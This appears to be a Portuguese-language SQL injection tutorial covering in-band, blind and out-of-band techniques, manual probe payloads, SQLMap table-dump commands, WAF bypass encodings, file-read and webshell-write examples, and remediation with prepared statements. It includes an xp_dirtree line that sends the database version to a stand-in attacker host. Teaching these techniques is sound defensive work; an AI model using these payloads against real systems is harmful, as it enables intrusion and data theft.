SQL Injection — Do Básico ao Exploitation Avançado

Guia completo de SQL Injection: tipos, técnicas de detecção, exploração manual e automática com SQLMap, e remediação

SQL Injection continua a figurar consistentemente no OWASP Top 10. Em 2024, ainda encontro SQLi em engajamentos reais com regularidade alarmante. Este guia cobre tudo, desde a detecção básica até técnicas avançadas de extracção de dados.

O que é SQL Injection?

SQL Injection ocorre quando dados controlados pelo utilizador são interpolados directamente em queries SQL sem sanitização adequada. O resultado: um atacante pode manipular a lógica da query para extrair dados, bypassar autenticação ou executar código no servidor.

Exemplo clássico vulnerável:

# VULNERÁVEL — nunca faças isto
query = "SELECT * FROM users WHERE username='" + username + "'"

Se o atacante inserir ' OR '1'='1, a query torna-se:

SELECT * FROM users WHERE username='' OR '1'='1'

Retorna todos os utilizadores. Bypass de autenticação trivial.

Tipos de SQL Injection

1. In-Band SQLi

O resultado da query é devolvido directamente na resposta HTTP.

Error-based: usa mensagens de erro para extrair informação.

' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))-- -

Union-based: junta resultados de queries adicionais.

' UNION SELECT NULL,NULL,table_name FROM information_schema.tables-- -

2. Blind SQLi

A aplicação não devolve resultados directamente, mas o comportamento varia consoante a query.

Boolean-based:

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -

Time-based:

'; IF(1=1) WAITFOR DELAY '0:0:5'-- -
-- MySQL:
' AND SLEEP(5)-- -

3. Out-of-Band SQLi

Extracção via canais secundários (DNS, HTTP). Útil quando a resposta não é acessível directamente.

-- MSSQL com xp_dirtree
'; EXEC xp_dirtree('//attacker.com/'+@@version,1,1)-- -

Exploração Manual vs SQLMap

Detecção Manual

Comença sempre com payloads simples:

'
''
`
')
"))
' OR '1'='1
' OR 1=1-- -
1' AND 1=2-- -

Observa mudanças no comportamento: erros SQL, diferenças no conteúdo, tempo de resposta.

SQLMap — Automatização

Para CTF e pentest (com autorização):

# Detecção básica
sqlmap -u "https://alvo.com/produto?id=1" --dbs

# Com cookie de sessão
sqlmap -u "https://alvo.com/perfil" \
  --cookie="session=abc123" \
  --level=3 --risk=2 \
  --dbs

# Extracção de tabelas
sqlmap -u "https://alvo.com/produto?id=1" \
  -D database_name --tables

# Dump de uma tabela específica
sqlmap -u "https://alvo.com/produto?id=1" \
  -D database_name -T users \
  --dump --batch

Técnicas Avançadas

Bypass de WAF:

-- Comentários inline
SE/**/LECT * FR/**/OM users
-- Case variation
SeLeCt * FrOm users
-- URL encoding
%27%20OR%20%271%27%3D%271
-- Double encoding
%2527 (= %27 = ')

Second-order SQLi: a payload é armazenada e executada numa query posterior — frequentemente não coberta por scanners automáticos.

Impacto Real

O que um atacante pode fazer com SQLi:

  • Extracção de dados — passwords, dados pessoais, informação confidencial
  • Autenticação bypass — acesso a contas sem credenciais
  • Leitura de ficheiros (MySQL com FILE privilege): LOAD_FILE('/etc/passwd')
  • Escrita de ficheiros → webshell: INTO OUTFILE '/var/www/html/shell.php'
  • Remote Code Execution (MSSQL com xp_cmdshell habilitado)

Remediação

A solução é simples e não negociável: prepared statements / parametrized queries.

# CORRECTO — usando parâmetros
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)
// Node.js com mysql2
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE username = ? AND password = ?',
  [username, password]
);

Adicionalmente:

  • Princípio do menor privilégio na conta de base de dados
  • WAF como camada adicional (não substitui código seguro)
  • Input validation para contexto semântico
  • Error handling que não exponha detalhes da BD

Conclusão

SQLi é simples de prevenir com práticas corretas de desenvolvimento. O problema é que código legado, frameworks mal configurados e falta de formação mantêm esta vulnerabilidade viva. Como profissional de segurança, a tua responsabilidade é tanto encontrá-la como educar as equipas de desenvolvimento sobre como eliminá-la definitivamente.